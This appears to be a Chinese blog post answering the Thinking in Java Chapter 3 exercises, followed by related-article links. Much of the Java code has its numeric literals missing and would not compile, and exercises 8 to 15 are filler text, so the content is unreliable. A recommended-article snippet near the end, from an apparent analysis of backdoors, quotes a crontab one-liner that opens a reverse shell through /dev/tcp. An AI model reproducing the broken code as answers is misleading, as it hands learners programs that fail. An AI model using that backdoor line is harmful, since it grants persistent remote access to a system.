1. 使用"简短的" 和正常的 打印语句来编写一个程序

    package net.mindview.util;
    
    public class Print {
    /**
    * 不带有回车
    * @param s
    */
    public static void print(Object s){
    System.out.print(s);
    } /**
    * 带有回车
    * @param s
    */
    public static void println(Object s){
    System.out.println(s);
    }
    }
    package net.mindview.operators;
    
    import java.util.Date;
    import static net.mindview.util.Print.*;
    public class HelloData { public static void main(String[] args) {
    print("hello, it is");
    print(new Date());
    System.out.println("正常的方式打印");
    }
    }
  2. 创建一个包含了float域的类, 并用这个类来展示别名机制. (这里懒得写了, 就是把demo中的int换成float就可以了)
    package net.mindview.operators;
    
    class Tank{
    int level;
    } public class Assignment {
    public static void main(String[] args) {
    Tank t1 = new Tank();
    Tank t2 = new Tank();
    t1.level = ;
    t2.level = ;
    System.out.println("t1.level:" + t1.level + ", t2.level:" + t2.level);
    t2 = t1;
    System.out.println("t1.level:" + t1.level + ", t2.level:" + t2.level);
    t1.level = ;
    System.out.println("t1.level:" + t1.level + ", t2.level:" + t2.level);
    } }
  3. 创建一个包含一个float域的类, 并用这个类来展示方法调用时的别名机制(将char改为float即可)
    package net.mindview.operators;
    
    class Letter{
    char c;
    } public class PassObject {
    static void f(Letter y){
    y.c = 'z';
    }
    public static void main(String[] args) {
    Letter x = new Letter();
    x.c = 'a';
    System.out.println("1: x.c="+x.c);
    //传递的时x所指向的引用
    f(x);
    System.out.println("1: x.c="+x.c);
    }
    }
  4. 编写一个计算速度的程序, 压缩使用的距离和时间都是常量.(略)
  5. 创建一个名为Dog的类, 他包含两个String与:name和says。 在main()方法中,创建两个Dog对象, 一个名为spot(它的叫声为ruff!),另一个名为scruffy(它的叫声为Wurf!).然后显示他们的名字和叫声。
    package net.mindview.operators;
    
    class Dog{
    public String name;
    public String says; @Override
    public String toString() {
    return "名字:"+this.name + ",语言:"+this.says;
    }
    }
    public class DogTest { public static void main(String[] args) {
    // TODO Auto-generated method stub
    Dog d1 = new Dog();
    Dog d2 = new Dog();
    d1.name = "spot";
    d1.says = "Ruff!";
    d2.name = "scruffy";
    d2.says = "Wurf!"; System.out.println(d1);
    System.out.println(d2);
    }
    }
  6. 在练习5的基础上,创建一个新的Dog对象, 并对其赋值为spot对象。测试==和equals()方法来比较所有引用的结果。
    package net.mindview.operators;
    
    class Dog{
    public String name;
    public String says; @Override
    public String toString() {
    return "名字:"+this.name + ",语言:"+this.says;
    }
    }
    public class DogTest { public static void main(String[] args) {
    // TODO Auto-generated method stub
    Dog d1 = new Dog();
    Dog d2 = new Dog();
    d1.name = "spot";
    d1.says = "Ruff!";
    d2.name = "scruffy";
    d2.says = "Wurf!"; System.out.println(d1);
    System.out.println(d2); Dog d3 = new Dog();
    d3.name = "spot";
    System.out.println(d1.name == d3.name);
    System.out.println(d1.name.equals(d3.name));
    }
    }

    输出结果:

    名字:spot,语言:Ruff!
    名字:scruffy,语言:Wurf!
    true
    true

    这个结果需要特别说明一下, String是特殊的引用类型, 当他被直接赋值时,就是把这个值对应的引用位置赋值给String变量了, 所以, 两次结果都是true。 如果你用new String()赋值, 结果就不同了.

  7. 编写一个程序, 模拟扔硬币的结果
    package net.mindview.operators;
    
    import java.util.Random;
    import static net.mindview.util.Print.*;
    public class ThrowCron { public static void main(String[] args) {
    Random num = new Random();
    int a = num.nextInt();
    switch (a % ){
    case :
    println("正面"); break;
    case :
    println("反面");break;
    }
    } }
  8. fadsfas
  9. fasfda
  10. fasdf
  11. fasdfa
  12. fasdf
  13. fasd
  14. fdasf
  15. fadsf

java编程思想第四版第三章要点习题的更多相关文章

  1. java编程思想第四版第三章要点总结

    1. 静态导入 使用import static方式导入一个类的所有方法. 例如: import static net.mindview.util.Print.*; 首先定义了一个Print类,里面有静 ...

  2. java编程思想第四版第十三章字符串 习题

    fas 第二题 package net.mindview.strings; import java.util.ArrayList; import java.util.List; /** * 无限循环 ...

  3. java编程思想第四版第十一章习题

    第一题 package net.mindview.holding.test1; import java.util.ArrayList; import java.util.List; /** * 沙鼠 ...

  4. Java编程思想第四版*第七章*个人练习

    欢迎加群:239063848 成团的笔记:该组仅用于技术共享和交流,问题和答案公布 潘基聊天.禁止广告.禁止招聘-- 练习1:(2)创建一个简单的类.第二个类中,将一个引用定义为第一个类的对象.运用惰 ...

  5. java编程思想第四版第六章习题

    (略) (略) 创建两个包:debug和debugoff,他们都包含一个相同的类,该类有一个debug()方法,第一个版本显示发送给控制台的String参数,而第二版本什么也不做,使用静态import ...

  6. java编程思想第四版第十三章字符串 总结

    1. String和StringBulider的使用 通过书中介绍, 我们得知如下结论: 当使用+连接符将字符串进行拼接的时候, 编译器会进行自动优化为使用StringBuilder连接字符串. 当在 ...

  7. java编程思想第四版第七章总结

    1. 实现类的复用通常有两种方式 组合:在新的类中产生现有类的对象 继承:按照现有类的类型来创造新类 2. 一个特殊的方法toString() 在非基本类型的对象中, 都有toString()方法 当 ...

  8. java编程思想第四版第六章总结

    1. 代码重构 为什么f要代码重构 第一次代码不一定是完美的, 总会发现更优雅的写法. 代码重构需要考虑的问题 类库的修改不会破坏客户端程序员的代码. 源程序方便扩展和优化 2. 包 创建一个独一无二 ...

  9. java编程思想第四版第五章习题

    创建一个类, 它包含一个未初始化的String引用.验证该引用被Java初始化成了null package net.mindview.initialization; public class Test ...

随机推荐

  1. crontab一句话后门分析

    正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...

  2. PHP 插入排序 -- 折半查找

    1. 折半查找  -- Binary Insertion Sort 时间复杂度 : O(n^2) 适用条件 : 相对直接插入排序,减少了数值的比较次数.适用于需要排序的数码比较少的情况. <?p ...

  3. Cocos2d-x 学习笔记(10) ActionInstant

    1.概述 ActionInstant的子类都是立即完成的动作,即一帧就完成了,不像ActionInterval的子类动作需要定义动作总时间. Action类的继承关系图: 2.具体 ActionIns ...

  4. spring boot 2.x文件路径映射问题汇总

    当我们在运行可执行的java jar包的时候,我们肯定改变不了jar里面的内容,因此文件上传路径就成了我们必须考虑的一点问题,我们不能往直接这个jar包里面写文件,那么只能写在jar包外面,但是写到j ...

  5. H5 video踩坑实录

    前段时间公司APP做了一个APP论坛会议,嵌入了h5播放器.我以为很简单,没想到,这正是我踩进泥潭的开始... (想要吸取经验的小伙伴可以慢慢往下看,想要解决方案的直接看最后!) 一.一开始我以为直接 ...

  6. Kafka、Redis和其它消息组件比较

    Kafka作为时下最流行的开源消息系统,被广泛地应用在数据缓冲.异步通信.汇集日志.系统解耦等方面.相比较于RocketMQ等其他常见消息系统,Kafka在保障了大部分功能特性的同时,还提供了超一流的 ...

  7. 主流 CSS 布局(水平居中、垂直居中、居中 )

    什么是布局 html 页面的整体结构或骨架 布局不是某个技术内容 而是一种设计思想 [ 布局方式 ] 水平居中布局 垂直居中布局 居中布局( 水平 + 垂直 ) 什么是水平居中布局 水平居中布局 元素 ...

  8. itextsharp生成pdf

    itextsharp在ios中可用,亲测 (一)生成文档 Document document = , , , ), , , , ); //Document document = new Documen ...

  9. SpringBootCLI 命令行工具

    Spring Boot CLI 是用于快速开发 Spring 应用的命令行工具.用来运行 Groovy (与 Java 风格类似)脚本. spring-cli 似乎不是可以各种diy spring-b ...

  10. 2019年Unity学习资源指南[精心整理]

    前言 进入一个领域,最直接有效的方法就是,寻找相关综述性文章,首先你需要对你入门的领域有个概括性的了解,这些包括: 1.主流的学习社区与网站. 2.该领域的知名大牛与热心分享的从业者. 3.如何有效的 ...